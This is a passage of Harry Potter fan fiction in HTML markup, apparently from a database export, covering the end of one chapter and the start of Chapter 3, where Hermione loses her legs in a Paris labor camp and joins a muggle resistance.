style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret shrugged\nand said, <i>&quot;Lumos.&quot;</i>&nbsp; To\nher and Ron\'s surprise, a brilliant light lit up on the wand\'s tip!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned.&nbsp; &quot;Now say \'nox\'.&quot;&nbsp; Margaret shakily said the word and the light\nwent out.&nbsp; Harry pulled out a feather\nfrom inside his cloak and placed it on the table.&nbsp; &quot;Swish and flick the wand like this,&quot; Harry did the\nhand gestures, &quot;and say, \'Wingardium Leviosa\'.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Magaret shakily\nnodded.&nbsp; She swished and flicked the\nwand and said, <i>&quot;Wingarium Leviosa.&quot;</i>&nbsp; The feather rose about two feet into the air.&nbsp; Ron was utterly speechless.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry\ngrinned.&nbsp; &quot;Just like I\nthought.&nbsp; You\'re a muggle-born witch,\nMargaret.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret was\ncompletely speechless.&nbsp; Finally she\nmanaged to say, &quot;B-but, how is that possible.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry seemed to be\nthinking, &quot;Where did you grow up?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;In\nAlbany.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Which means\nyou should\'ve attended Salem Academy of Magic when you turned eleven.&nbsp; Well, that explains it.&nbsp; Remember Ron, the old principal of Salem was\nnotorious for his prejudice toward muggle-borns, seven years ago.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron nodded in\nunderstanding.&nbsp; Margaret however, didn\'t\nlook quite that convinced.&nbsp; &quot;B-but\nhow could I be a witch?&nbsp; I m-mean, how\nis it possible.&nbsp; Before tonight, I\'ve\nnever performed any magic.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry raised an\neyebrow.&nbsp; &quot;Haven\'t strange things\nhappen around you whenever you were angry or upset?&quot; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well once, when\nI was twelve, I was upset for being grounded and a light bulb in my lamp\nexploded.&nbsp; And there were times when my\naunt\'s hair turned green when I was angry with her.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.05pt;layout-grid-mode:char">&quot;Well there you have it,&quot; said Harry.&nbsp; He took his wand back and tucked it into his belt. &quot;Besides,\nthose tricks you just used should be enough to prove that you, Margaret Chapel,\nare indeed a witch.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret finally\nseemed to accept her identity as a witch.&nbsp;\nRon however still wasn\'t satisfied.&nbsp;\n&quot;Just because you\'re a witch doesn\'t mean she can come with\nus.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Actually it\nwould be safer for her to come with us,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&nbsp; What kind of logic is that?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Think about\nit Ron.&nbsp; Margaret is a muggle-born who\nhas absolutely no training whatsoever.&nbsp;\nIf we left her behind, she\'d end up as a target of Death Eater agents in\nAmerica with no means of defending herself.&nbsp;\nIt would be much safer for to come with us and learn magic first\nhand.&nbsp; We\'d probably run into some of\nour old Hogwarts professors, they\'d help train her.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron spluttered for\na moment before he grudgingly said, &quot;OK Maggie, you can come with\nus.&quot;&nbsp; Margaret beamed at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Right, now\nthat we\'ve got that worked out, we need to get back to Britain,&quot; said\nHarry.&nbsp; He pulled out an old glove from\ninside his cloak.&nbsp; &quot;This portkey\nwill take us to Hogwarts.&nbsp; I\'ve done\nsome research during the week I\'ve been back and I found out that the school is\nbeing used for the British resistance against Voldemort.&nbsp; The portkey will take effect in about thirty\nminutes.&nbsp; So hurry up and get everything\nyou need.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret hurriedly\nwent to her room and packed a few belongings she would be bringing.&nbsp; She also left a note for her aunt.&nbsp; Ron summoned all of his belongings from his\nresidence.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK, is\neveryone ready?&quot; asked Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes,&quot;\nsaid Ron and Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK, we\'ve\ngot a minute before the portkey takes effect.&nbsp;\nGrab on.&quot;&nbsp; Ron and Margaret\ntook a hold of the old glove Harry was carrying.&nbsp; Slowly the seconds counted down.&nbsp;\nFinally, the time came and the three disappeared with a flash.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Well, now you\nknow why I titled this story, &quot;Return of the Lion&quot;.&nbsp; Because Harry is the lion and his return\nsignals the start of the downfall of Voldemort\'s order.&nbsp; The reason why it is PG-13 is because it\'s a\nlot darker than my previous fics.&nbsp; But\nthat shouldn\'t be too much of a hindrance though I can\'t say about anybody\nyounger than 11.&nbsp; So do you like this\nchapter?&nbsp; Well things will get even more\nexciting in the following chapters.&nbsp; So\nenjoy.&nbsp; And please R/R.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 3, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Blessed are\nthose who mourn, for they will be comforted.&quot;</i></p>\n\n<i>Matthew 5:4</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\nChapter 3: A Girl\nwith no Legs\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Europe was a\nhellhole those days.&nbsp; A land where evil\ndid not sleep and darkness was ever present.&nbsp;\nPeople lived in fear as dark creatures wandered around terrorizing their\nvictims that could not hide away.&nbsp; The\ngreat cities of Paris, Berlin, Rome, Prague, Madrid, Barcelona, Munich, Moscow,\nFlorence, St. Petersburg, and Athens had been converted into Dark Fortresses\nwhere Death Eaters lived in great luxury while beggars littered the streets,\nforever preyed on by the dark creatures whom roamed Europe.&nbsp; But, the most horrible, yet magnificent of\nthese fortress cities was London where Voldemort himself resided: in a great\nfortress known as Parselrock.&nbsp; This\nfortress was the symbol of the Dark Lord\'s reign of terror and its dungeons\nwere a spawning ground for the legions of dark creatures that served Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There were labor\ncamps all over the continent.&nbsp; Muggles\nand muggle-borns were used in slave labor to construct the mighty fortresses\nthat were once metropolitan cities.&nbsp; Yet\nresistance movements constantly sprung up, mostly in the labor camps\nthemselves.&nbsp; Muggles and muggle-borns as\nwell as many pure bloods fought the dark terror overrunning Europe, and most never\ngave up hope that they would survive and peace would return.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There was a labor\ncamp near Paris that had British slaves working there.&nbsp; One day, a five-year old muggle boy was\npushing a rock around as part of the slave program.&nbsp; He was weak and hungry, and most people would not be able to\nimagine the harsh brutality of forcing a boy so young to work such backbreaking\nlabor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As the boy worked\nhard to get his job done, the roof of the shelter he was in suddenly started to\ncollapse due to disrepair!&nbsp; Too\nexhausted, the boy couldn\'t understand the cries of warning as the roof fell on\nhis head.&nbsp; At the last minute, a girl\nabout the age of eighteen dove forward and pushed the boy out of the way.&nbsp; In the process however, her legs were\ncrushed under the debris and she blacked out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">When the young\ngirl finally came to, she found herself lying in a bed in a dark room.&nbsp; She also noticed that someone was moving\naround in the room.&nbsp; &quot;Where am I?&nbsp; Who\'s there?&quot; she asked weakly in a\nclear London accent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Shh,\neverything\'s OK now,&quot; said the person.&nbsp;\nIt turned out to be an American woman in her early thirties with\nshoulder length blonde hair and warm blue eyes.&nbsp; &quot;I\'m Dr. Susan Thomas, a surgeon.&nbsp; You\'re in what was Versailles Palace.&nbsp; It\'s the headquarters of the French resistance now.&quot;&nbsp; She gently stroked the girl\'s hair with a\nkind smile on her face.&nbsp; The girl in the\nbed had long frizzy golden brown hair that went down to the small of her back\nand cinnamon brown eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The\nboy?&nbsp; Is he...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;He\'s\nOK.&nbsp; He\'s here with us in the\nresistance.&nbsp; You saved his life.&nbsp; Now child, tell me, what is your name?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione.&nbsp; Hermione Granger.&quot;&nbsp; Hermione\'s face suddenly turned into a look\nof alarm and fear.&nbsp; &quot;Doctor, why\ncan\'t I feel my legs?&quot; she asked, her voice shaking.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan Thomas\nsuddenly looked very sorrowful.&nbsp;\n&quot;Hermione, I\'m so sorry.&nbsp; I\ndon\'t know how to say this, but by the time we were able to clear the debris\noff of you...Hermione, I\'m so sorry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione apprehensively\nglanced at her covers at where her legs should\'ve been.&nbsp; As soon as she saw the lack of the bumps in\nher covers she started weeping, for it could only mean one thing.&nbsp; Both of her legs had been amputated above\nher knees.&nbsp; Susan gently comforted the\ncrying girl as Hermione wept for the loss of her legs, yet felt thankful that\nshe was still alive.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The resistance\nfound an old wheelchair for Hermione.&nbsp;\nThey were all muggles whom had developed a deep hatred for the magical\ncommunity due to Voldemort\'s reign.&nbsp; For\nthat reason, Hermione kept the fact that she was a muggle-born witch a secret\nfor the time being.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione got used\nto the wheelchair in no time.&nbsp; She was\nstill sad about the loss of her legs but she decided that at least she was\nalive and that she would enjoy the rest of her life even without the ability to\nwalk.&nbsp; If she was even slightly\nresentful of the fact that if it were a witch or wizard whom had found her, she\nwould still have her legs, she hid it well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione got to\nknow the members of the muggle resistance very well.&nbsp; They were all once people who had their own lives, jobs,\nfamilies, and were blissfully unaware of the existence of the magical world:\nuntil Voldemort came.&nbsp; Now, they had\nlost everything to the Dark Forces and the only thing that had left was to\nfight back.&nbsp; Indeed, Hermione found that\nthe former palace was lain out with all sorts of muggle weapons: machine guns,\nhand grenades, cannons, missile launchers, rifles and other weapons she had no\nclue were.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione grew to\nbecome friends with Susan Thomas.&nbsp;\nDespite their age difference, they became quite close and were on a\nfirst name basis.&nbsp; On the other hand,\nJohn Seymour, the leader of the resistance remained skeptical of the legless\ngirl in a wheel chair.&nbsp; He seemed to be\nconvinced that Hermione was a magical spy and was always interrogating her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So where are\nyou from?&quot; asked Seymour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sighed\nexasperated.&nbsp; &quot;I\'ve told you so\nmany times John.&nbsp; I\'m from London, but I\nwent to boarding school in Scotland.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Texan\nresistance fighter looked unconvinced.&nbsp;\nHe was a large man at six foot four and was loaded with muscles, around\n28 years of age with a full head of blonde hair along with beard and moustache.&nbsp; He often boasted that he was once a Texas\nRanger.&nbsp; Hermione couldn\'t help but feel\nsmall around him, which she definitely was without her legs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So did you\nhave any friends at this boarding school?&quot; asked Seymour, not even\nbothering to hide his skepticism.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes, two\ninseparable best friends,&quot; said Hermione a little sadly.&nbsp; It hurt her to talk about Harry and\nRon.&nbsp; Both of them had disappeared from\nher, Harry two years ago, and Ron just a few months before.&nbsp; She missed them dearly, especially Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">During their\nschool days, Hermione had feelings for Harry Potter.&nbsp; Yet she always dismissed those feelings believing them to be\nsimply nothing more than a childhood crush.&nbsp;\nIt was only after Harry had disappeared that she realized that her\nfeelings were not just a childhood crush: that she was in love with her missing\nbest friend.&nbsp; Hermione had spent many\nnights after her epiphany crying herself to sleep since she had no clue of what\nhad happened to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After Harry\'s\ndisappearance, Voldemort had grown more and more powerful until he had become\nthe ruler of Europe.&nbsp; Hogwarts was one\nof the last safest places in the world but even the school couldn\'t keep out\nthe Death Eaters forever.&nbsp; She and Ron\nstuck together after Harry had left, but even that had ended on their\ngraduation day.&nbsp; On that day, the Death\nEaters finally breached the defensive wards of the school and either killed or\ncaptured all the students and teachers there.&nbsp;\nMany had fled but Hermione had been amongst those that had been\ncaptured.&nbsp; Since then, she was carted\noff to different labor camps throughout Europe until she was finally taken to\nthe Paris labor camp.&nbsp; There, she had\nrun into the accident that had cost her legs.&nbsp;\nAnd now, here she was in Versailles, with a muggle resistance group.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So how do we\nknow that you\'re not some spy for those witches and wizards?&quot; hissed\nSeymour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Susan threw her\narms up exasperated.&nbsp; &quot;John. She\nlost her legs saving a child\'s life.&nbsp;\nHow much more convincing do you need?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But if she were\na witch, the loss of limbs would be nothing.&nbsp;\nThey can grow \'em back.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione would\'ve\nlaughed if the situation weren\'t serious.&nbsp;\nWizard medicine could not grow back amputated limbs.&nbsp; But the muggle ignorance was starting to get\non her nerves a little.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'m going\noutside,&quot; said Hermione.&nbsp; She\nwheeled her chair out to the balcony.&nbsp;\nFrom there, she could see Paris in the distance.&nbsp; All the landmarks, the Eiffel tower, the Arc\ndu Troiumphe, and Notre Dame Cathedral were still standing.&nbsp; But they were now magical strongholds of a\ndark fortress city.&nbsp; The gloomy\natmosphere surrounding Paris looked so different from when he had last visited\nthere with her parents back when she was twelve years old, during the summer\nbefore her third year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Her parents.&nbsp; Hermione let a few tears slide down her\ncheeks.&nbsp; Mr. and Mrs. Granger were\nmurdered by Death Eaters during the spring of her fifth year.&nbsp; Hermione could still remember her world come\ncollapsing down when she received the owl that bore the news.&nbsp; And she could still feel the warmth of Harry\ncomforting her while she cried the entire night in his arms.&nbsp; It was a few months after that when Harry\ndisappeared.&nbsp; Hermione had never given\nup hope that he would come home some day.&nbsp;\nShe truly believed in her heart that Harry would be the one who would\nfinally defeat Voldemort when he returned from wherever he was.&nbsp; That was the hope Hermione had held onto,\neven when she had seen the world fall apart in front of her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\ndown at the children in the courtyard of the palace, playing in the snow.&nbsp; The boy whose life she had saved saw her and\nwaved.&nbsp; Hermione smiled and waved\nback.&nbsp; The adults of the resistance had\ntried their best to hide their children from the horrors of reality of\nlife.&nbsp; Many of the children lived\noblivious of the terrors that went on outside the palace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 